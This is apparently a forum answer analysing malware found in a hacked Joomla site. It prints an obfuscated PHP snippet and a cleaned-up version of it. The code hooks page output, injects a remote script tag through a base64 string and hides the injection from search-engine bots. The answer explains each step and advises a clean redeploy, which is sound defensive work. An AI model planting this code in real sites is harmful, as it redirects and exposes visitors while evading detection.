DAD9));if($R034AE2AB94F99CC81B389A1822DA3353===FALSE){$R034AE2AB94F99CC81B389A1822DA3353=$R5A9CF1B497502ACA23C8F611A564684C;}return $R034AE2AB94F99CC81B389A1822DA3353;}}function mrobh($RE82EE9B121F709895EF54EBA7FA6B78B){Header('Content-Encoding: none');$RA179ABD3A7B9E28C369F7B59C51B81DE=gzdecode($RE82EE9B121F709895EF54EBA7FA6B78B);if(preg_match('/\<\/body/si',$RA179ABD3A7B9E28C369F7B59C51B81DE)){return preg_replace('/(\<\/body[^\>]*\>)/si',gml()."\n".'$1',$RA179ABD3A7B9E28C369F7B59C51B81DE);}else{return $RA179ABD3A7B9E28C369F7B59C51B81DE.gml();}}ob_start('mrobh');}}
All the whitespace is stripped from it and the variables have names like $RA179ABD3A7B9E28C369F7B59C51B81DE. After cleaning this up a bit, the code looks as follows:
<?php
if (function_exists('ob_start') && !isset($GLOBALS['mr_no'])) {
$GLOBALS['mr_no'] = 1;
if (!function_exists('mrobh')) {
if (!function_exists('gml')) {
function gml()
{
if (!stristr($_SERVER["HTTP_USER_AGENT"], "googlebot") && (!stristr($_SERVER["HTTP_USER_AGENT"], "yahoo"))) {
return base64_decode("PHNjcmlwdCBzcmM9Imh0dHA6Ly9hY3Jvc3N1bml2ZXJzZWl0YmVvcmcuY29tL21tLnBocCI+PC9zY3JpcHQ+");
}
return "";
}
}
if (!function_exists('gzdecode')) {
function gzdecode($encoded)
{
$bitmask = #ord(#substr($encoded, 3, 1));
$ten = 10;
$zero = 0;
if ($bitmask & 4) {
$temp = #unpack('v', substr($encoded, 10, 2));
$temp = $temp[1];
$ten += 2 + $temp;
}
if ($bitmask & 8) {
$ten = #strpos($encoded, chr(0) , $ten) + 1;
}
if ($bitmask & 16) {
$ten = #strpos($encoded, chr(0) , $ten) + 1;
}
if ($bitmask & 2) {
$ten+= 2;
}
$inflated = #gzinflate(#substr($encoded, $ten));
if ($inflated === FALSE) {
$inflated = $encoded;
}
return $inflated;
}
}
function mrobh($input)
{
Header('Content-Encoding: none');
$decoded = gzdecode($input);
if (preg_match('/\<\/body/si', $decoded)) {
return preg_replace('/(\<\/body[^\>]*\>)/si', gml() . "\n" . '$1', $decoded);
}
else {
return $decoded . gml();
}
}
ob_start('mrobh');
}
}
A lot of this code consists of guards: a global is set so that the code is executed only once, even if the statement would occur multiple times, and it makes sure that all the functions are defined once and exactly once.
The crux is in the final line: it uses the ob_start function to make sure that the mrobh function is executed
when the output buffer is flushed (sent) or cleaned (with ob_flush(), ob_clean() or similar function) or when the output buffer is flushed to the browser at the end of the request.
This means that instead of outputting the result of the original script directly, all the generated output is buffered and passed to mrobh at the end.
Note how the original script ends with doGzip();, so all the HTML that the mrobh function receives is gzipped. Hence, the first thing it needs to do is decode it, which is where the gzdecode function comes in. After that $decode has the plain HTML output of the default Joomla script, which probably has a <html> tag with a <head> and a <body>. In that case, there should also be a </body> tag. In the final if statement, that closing tag is replaced by the output of the gml() function. That function again decodes a base 64 string, which turns out to be
<script src="http://***URL censored***"></script>
so instead of
regular output...
</body>
</html>
the end of the output now looks like
regular output...
<script src="http://***URL censored***"></script>
</body>
</html>
so that the script at that URL will be loaded as the browser parses the returned HTML.
Note that the gml function has an additional guard to make sure that whenever Google or Yahoo bots visit the page, the redirect does not take place - these search engines would detect that something malicious is going on and warn the user (if the user uses Chrome, even before actually visiting the page). The else clause in mrobh is just another safeguard in case the HTML does not contain a </body> tag - in that case the script tag is just appended at the end of whatever output there is, assuming that the browser will render it as HTML.
So what you end up with is your regular page, with an additional script tag. (Un)fortunately the domain it tries to load the JavaScript from does not seem to exist any longer, so we cannot see what the script did, but since you said users were redirected away from your site, it's safe to assume that it contained some tracking code followed by a
window.location.href = "http://mymaliciouspage";
TL;DR The first line contains the malicious code that cleverly manipulates your page's output to redirect the user (but not any search engine bots).
Solution: Just replace the whole first line with the original <?php (which you still see at the end of the bad code) and you will fix this problem (look into your server security and update Joomla to avoid getting hit again though).
You got hacked. You cannot trust any code on your server anymore. Nuke it. Redeploy your current version. Work on a hotfix to fix the security flaw, e.g. upgrade Joomla to its newest version, and do another deploy.
Just editing your hacked codebase is asking for trouble. Don't do that.
The security issue is still there and you don't know what else got put in place on your server.

Categories